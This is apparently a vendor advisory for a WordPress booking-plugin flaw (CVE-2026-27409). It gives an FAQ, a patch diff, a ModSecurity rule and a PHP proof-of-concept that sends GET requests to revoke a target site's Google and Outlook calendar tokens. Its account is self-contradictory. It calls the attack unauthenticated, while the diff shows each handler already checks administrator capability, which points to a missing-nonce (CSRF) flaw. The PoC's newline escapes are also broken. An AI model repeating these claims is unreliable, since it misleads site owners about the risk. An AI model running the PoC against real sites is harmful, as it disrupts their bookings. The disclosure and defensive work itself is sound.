What is CVE-2026-27409?

CVE-2026-27409 is a medium-severity vulnerability in the Webba Booking Calendar plugin for WordPress, affecting versions up to 6.4.13. It allows unauthenticated attackers to revoke Google or Outlook calendar tokens due to a missing authorization check.

Who is affected by this vulnerability?

Any WordPress site using the Webba Booking Calendar plugin version 6.4.13 or earlier is affected. Site administrators should verify their plugin version to assess their risk.

How can I check if my site is vulnerable?

To check if your site is vulnerable, log in to your WordPress admin dashboard, navigate to the Plugins section, and look for the Webba Booking Calendar plugin. If the version is 6.4.13 or earlier, your site is at risk.

What are the practical implications of this vulnerability?

The CVSS score for this vulnerability is 5.3, indicating medium severity. Successful exploitation can lead to unauthorized disconnection of calendar integrations, disrupting appointment management without causing data exposure.

How does the vulnerability work?

The vulnerability arises from missing nonce verification in the token revocation handlers. Attackers can send crafted HTTP GET requests to revoke calendar tokens without authentication, disrupting calendar integrations.

How can I mitigate this vulnerability?

To mitigate this vulnerability, update the Webba Booking Calendar plugin to version 6.4.14 or later, which includes the necessary nonce verification to prevent unauthorized access.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin right away, consider disabling the Webba Booking Calendar plugin until a secure version is available. This will prevent potential exploitation while you plan for an update.

What is nonce verification and why is it important?

Nonce verification is a security measure in WordPress that ensures requests are valid and originate from authorized users. It helps prevent CSRF attacks by requiring a unique token for sensitive actions.

What does the proof of concept demonstrate?

The proof of concept illustrates how an attacker can exploit the vulnerability by sending a crafted request to revoke calendar tokens without authentication. It shows the simplicity of the attack and the potential impact on calendar integrations.

What actions should I take if my site has been compromised?

If your site has been compromised due to this vulnerability, immediately revoke any unauthorized calendar tokens, update the plugin, and review your site for any other security issues. Consider consulting a security professional for a thorough assessment.

Are there any other security practices I should follow?

In addition to updating vulnerable plugins, regularly back up your site, use strong passwords, and implement security plugins that monitor for unauthorized access. Keeping your WordPress installation and all plugins updated is crucial for maintaining security.

Where can I find more information about this vulnerability?

For more detailed information about CVE-2026-27409, you can visit the official CVE database or the plugin’s repository on WordPress.org, where the patch notes and security updates are documented.

Published : July 20, 2026

CVE-2026-27409: Advanced Booking & Appointment System – Webba Booking Calendar <= 6.4.13 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-27409

Plugin webba-booking-lite

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 6.4.13

Patched Version 6.4.14

Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27409:

This vulnerability affects the Advanced Booking & Appointment System – Webba Booking Calendar plugin versions up to and including 6.4.13. It allows unauthenticated attackers to revoke Google or Outlook calendar tokens, leading to unauthorized disruption of calendar integrations. The CVSS score is 5.3 (medium severity).

The root cause is a missing authorization check in the token revocation handlers. The file /webba-booking-lite/includes/class_wbk_backend.php lacks nonce verification and capability checks before executing calendar token revocation. Specifically, the vulnerable code at lines 349-365 handles Google calendar token revocation via the “revoke-gg-calendar” GET parameter, and lines 365-380 handle Outlook calendar revocation via the “revoke-outlook-calendar” GET parameter. Both sections check for a capability (“manage_options”) but have no nonce validation, allowing unauthenticated requests to pass if the attacker can reach the admin page.

An attacker can exploit this by sending a crafted HTTP GET request to the WordPress admin page /wp-admin/admin.php?page=wbk-connected-calendars&revoke-gg-calendar= or with the “revoke-outlook-calendar” parameter. The attacker does not need to authenticate. The request triggers the clear_access_token() method on WBK_Google_Calendar_Processor or WBK_Outlook_Calendar_Processor, which removes the stored OAuth tokens, breaking calendar synchronization.

The patch adds nonce verification using wp_verify_nonce() in both revocation handlers. The nonce is created with wp_create_nonce() and appended to the revocation URL in /webba-booking-lite/includes/class_wbk_webba_connect.php (lines 219-226 and 372-380). This ensures only users who can access the admin page with a valid nonce can revoke tokens. The version was bumped to 6.4.14.

Successful exploitation causes permanent disconnection of Google or Outlook calendars. The plugin loses the ability to synchronize appointments, check calendar availability, or update events. This disrupts the booking system’s core functionality for the site owner. No privilege escalation or data exposure occurs; the impact is limited to denial of service on scheduled calendar tasks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/webba-booking-lite/includes/class_wbk_backend.php
+++ b/webba-booking-lite/includes/class_wbk_backend.php
@@ -349,6 +349,15 @@
                 wp_die("You are not authorized to revoke Google Calendar tokens.");
             }
             $calendar_id = intval($_GET["revoke-gg-calendar"]);
+            if (
+                !isset($_GET["_wpnonce"]) ||
+                !wp_verify_nonce(
+                    sanitize_text_field(wp_unslash($_GET["_wpnonce"])),
+                    "wbk_revoke_gg_calendar_" . $calendar_id,
+                )
+            ) {
+                wp_die("Security check failed. Please try again.");
+            }
             $google = new WBK_Google_Calendar_Processor($calendar_id);
             $google->clear_access_token();

@@ -365,6 +374,15 @@
                 wp_die("You are not authorized to revoke Outlook Calendar tokens.");
             }
             $calendar_id = intval($_GET["revoke-outlook-calendar"]);
+            if (
+                !isset($_GET["_wpnonce"]) ||
+                !wp_verify_nonce(
+                    sanitize_text_field(wp_unslash($_GET["_wpnonce"])),
+                    "wbk_revoke_outlook_calendar_" . $calendar_id,
+                )
+            ) {
+                wp_die("Security check failed. Please try again.");
+            }
             $outlook = new WBK_Outlook_Calendar_Processor($calendar_id);
             $outlook->clear_access_token();

--- a/webba-booking-lite/includes/class_wbk_webba_connect.php
+++ b/webba-booking-lite/includes/class_wbk_webba_connect.php
@@ -219,7 +219,10 @@
     public function get_google_revoke_url($calendar_id = "")
     {
         $return_path =
-            "/wp-admin/admin.php?page=wbk-connected-calendars&revoke-gg-calendar=" . $calendar_id;
+            "/wp-admin/admin.php?page=wbk-connected-calendars&revoke-gg-calendar=" .
+            $calendar_id .
+            "&_wpnonce=" .
+            wp_create_nonce("wbk_revoke_gg_calendar_" . $calendar_id);

         // Prepare authentication parameters including HMAC validation
         $query = $this->prepare_auth_parameters($return_path, "revoke-token", $calendar_id);
@@ -372,7 +375,9 @@
     {
         $return_path =
             "/wp-admin/admin.php?page=wbk-connected-calendars&revoke-outlook-calendar=" .
-            $calendar_id;
+            $calendar_id .
+            "&_wpnonce=" .
+            wp_create_nonce("wbk_revoke_outlook_calendar_" . $calendar_id);

         // Prepare authentication parameters including HMAC validation
         $query = $this->prepare_auth_parameters($return_path, "revoke-token", $calendar_id);
--- a/webba-booking-lite/webba-booking-lite.php
+++ b/webba-booking-lite/webba-booking-lite.php
@@ -4,7 +4,7 @@
  * Plugin Name: Webba Booking
  * Plugin URI: https://webba-booking.com
  * Description: Webba Booking is a powerful and easy-to-use WordPress booking plugin made to create, manage and accept online bookings with ease, through a modern and user-friendly booking interface.
- * Version: 6.4.13
+ * Version: 6.4.14
  * Author: WebbaPlugins
  * Author URI: https://webba-booking.com
  *   */

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-27409
# Block unauthenticated token revocation requests to Webba Booking Calendar
SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-27409 - Webba Booking Token Revocation Attempt',severity:'CRITICAL',tag:'CVE-2026-27409'"
  SecRule ARGS_GET:page "@streq wbk-connected-calendars" "chain"
    SecRule ARGS_GET:revoke-gg-calendar|ARGS_GET:revoke-outlook-calendar "@rx ^[0-9]+$" "chain"
      SecRule ARGS_GET:_wpnonce "@rx ^$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27409 - Advanced Booking & Appointment System – Webba Booking Calendar <= 6.4.13 Missing Authorization

// Configuration: change this to the target WordPress URL
$target_url = 'http://example.com';

// Calendar ID to revoke (usually 1)
$calendar_id = 1;

// Endpoint for Google calendar token revocation
$endpoint_google = '/wp-admin/admin.php?page=wbk-connected-calendars&revoke-gg-calendar=' . $calendar_id;

// Endpoint for Outlook calendar token revocation
$endpoint_outlook = '/wp-admin/admin.php?page=wbk-connected-calendars&revoke-outlook-calendar=' . $calendar_id;

// Initialize cURL for Google revocation
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint_google);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$response_gg = curl_exec($ch);
$http_code_gg = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Google revoke request sent to: " . $target_url . $endpoint_google . "n";
echo "[+] HTTP Response Code: " . $http_code_gg . "n";
if ($http_code_gg == 200) {
    echo "[+] Google calendar token may have been revoked. Check response body for confirmation.n";
} else {
    echo "[!] Request failed or was blocked.n";
}

// Initialize cURL for Outlook revocation
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint_outlook);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$response_outlook = curl_exec($ch);
$http_code_outlook = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Outlook revoke request sent to: " . $target_url . $endpoint_outlook . "n";
echo "[+] HTTP Response Code: " . $http_code_outlook . "n";
if ($http_code_outlook == 200) {
    echo "[+] Outlook calendar token may have been revoked. Check response body for confirmation.n";
} else {
    echo "[!] Request failed or was blocked.n";
}

// Note: This PoC sends requests without authentication, demonstrating the missing authorization.
// The actual success depends on whether the target site has the vulnerable version.
?>

Frequently Asked Questions

What is CVE-2026-27409?
Overview of the vulnerability
CVE-2026-27409 is a medium-severity vulnerability in the Webba Booking Calendar plugin for WordPress, affecting versions up to 6.4.13. It allows unauthenticated attackers to revoke Google or Outlook calendar tokens due to a missing authorization check.
Who is affected by this vulnerability?
Identifying at-risk users
Any WordPress site using the Webba Booking Calendar plugin version 6.4.13 or earlier is affected. Site administrators should verify their plugin version to assess their risk.
How can I check if my site is vulnerable?
Verifying plugin version
To check if your site is vulnerable, log in to your WordPress admin dashboard, navigate to the Plugins section, and look for the Webba Booking Calendar plugin. If the version is 6.4.13 or earlier, your site is at risk.
What are the practical implications of this vulnerability?
Understanding the risk level
The CVSS score for this vulnerability is 5.3, indicating medium severity. Successful exploitation can lead to unauthorized disconnection of calendar integrations, disrupting appointment management without causing data exposure.
How does the vulnerability work?
Mechanics of the exploit
The vulnerability arises from missing nonce verification in the token revocation handlers. Attackers can send crafted HTTP GET requests to revoke calendar tokens without authentication, disrupting calendar integrations.
How can I mitigate this vulnerability?
Steps to secure your site
To mitigate this vulnerability, update the Webba Booking Calendar plugin to version 6.4.14 or later, which includes the necessary nonce verification to prevent unauthorized access.
What should I do if I cannot update the plugin immediately?
Temporary mitigation measures
If you cannot update the plugin right away, consider disabling the Webba Booking Calendar plugin until a secure version is available. This will prevent potential exploitation while you plan for an update.
What is nonce verification and why is it important?
Understanding nonce security
Nonce verification is a security measure in WordPress that ensures requests are valid and originate from authorized users. It helps prevent CSRF attacks by requiring a unique token for sensitive actions.
What does the proof of concept demonstrate?
Explaining the PoC
The proof of concept illustrates how an attacker can exploit the vulnerability by sending a crafted request to revoke calendar tokens without authentication. It shows the simplicity of the attack and the potential impact on calendar integrations.
What actions should I take if my site has been compromised?
Responding to an attack
If your site has been compromised due to this vulnerability, immediately revoke any unauthorized calendar tokens, update the plugin, and review your site for any other security issues. Consider consulting a security professional for a thorough assessment.
Are there any other security practices I should follow?
General security recommendations
In addition to updating vulnerable plugins, regularly back up your site, use strong passwords, and implement security plugins that monitor for unauthorized access. Keeping your WordPress installation and all plugins updated is crucial for maintaining security.
Where can I find more information about this vulnerability?
Additional resources
For more detailed information about CVE-2026-27409, you can visit the official CVE database or the plugin’s repository on WordPress.org, where the patch notes and security updates are documented.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations